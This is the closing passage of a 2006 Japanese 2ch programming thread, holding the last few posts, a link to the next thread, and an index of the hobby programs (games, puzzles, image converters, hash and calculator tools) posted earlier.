>>973のは、そのままでスタックにAAを積んでいって、画面表示するバイナリになってる。
0990デフォルトの名無しさん
2006/03/16(木) 09:03:11http://pc8.2ch.net/test/read.cgi/tech/1142467359/
てんぷらよろしく
0991デフォルトの名無しさん
2006/03/17(金) 01:54:380992デフォルトの名無しさん
2006/03/19(日) 04:28:160993このスレのインデックス
2006/03/19(日) 17:38:56箱入り娘 >10
倉庫番 >34-35,37,852
BMPグレースケール化 >38-43,45-56,58-60,62,63-76,78-80,197,198,200,201
順列の出力 >61
telnet >85-87
bmpgen >88,89
コードブレイカー >90
MMLプレイヤー >93-100,105,109,118,119,124
おみくじ >101,(ry,>129,132-136,138,146
MD5 >116,121,123,131,176,180
/*動作説明汁*/ >122 (マウスカーソルランダム・高速移動?)
RPN風電卓 >137,141
一人麻雀 >145,186
XORフィルタ >169-171,(ry,>178
MD5,SHA1 >183,187-191,194-196
表計算 >204-207,209-212
1スレ372のオセロ >230-
素数 >269-276,294
最長連鎖探索 >288
NQueen >289
変数機能付きRPN電卓 >306-310,312
GCD >334-342
π >344,347-349,351-(ry,>832-(ry,>861
ナンプレ >377
メッセンジャ >387-389
MIDIプレーヤ >390-394,396
Γ関数 >400-402
4コの数字で10 >403,410-416,432
迷路 >417-421,423,424,427,430,566
hit&blow >492-496,499-502,542
0994このスレのインデックス (続き)
2006/03/19(日) 17:39:35掲示板 >543
ブロック崩し >551,552,558,559,573,582-589,683,684
素数 >553-557,744,758,759
Brainfuck >560,844
HexDump.pm >561,562
/*何?*/ >564-565
ローマ字かな変換 >591-601,603-605,619
XMLパーサ >609,610,613,626
オンドゥル語 >627
/*動作説明汁*/ >630-632 (>633)
インベーダもどき >651
画像加工 >655,668
ソリティア >672
タイピング >678-682
bejeweled >712
AA >719
FF風ダメージ表示 >722-723
画像ビュアー >732,734
プロパティビュア >735,736
爆発 (再掲) >746
電卓 >748-751,814
RangeCoder >755,757
2ch trip >765,766
Cソース情報 >769-772
トーンジェネ >781,790
/*何?*/ >845
数当て >858
0995このスレのインデックス (続き)
2006/03/19(日) 17:40:06C indent >871
文字テーブル >878
川渡りパズル >882-897,908,912-917
ぬるぽ叩き >898
確率ゲーム >923-929
じゃんけん >930,932
Base64デコーダ >937
BMP回転 >939-948
BMP縮小 >948
シェルピンスキー? >950
FFT >951
メッセージボックス >960-966
線描画 >968-972,977
ブーン >973-975,978,989
ちょっち長いよ
MID2WAV >503
対戦マインスイーパ >509
動詞変換 >628,629
将棋 >634-650,(ry,>667,669,673
MML2OBJ+OBJ2WAV >867-869,920
BMP2HTML >874
○×ゲーム >933-934
0996デフォルトの名無しさん
2006/03/19(日) 21:57:090997デフォルトの名無しさん
2006/03/19(日) 21:58:18http://pc8.2ch.net/test/read.cgi/tech/1142467359/
誘導針ー埋めー乙
0998デフォルトの名無しさん
2006/03/20(月) 06:56:190999デフォルトの名無しさん
2006/03/20(月) 07:03:101000デフォルトの名無しさん
2006/03/20(月) 09:19:3910011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。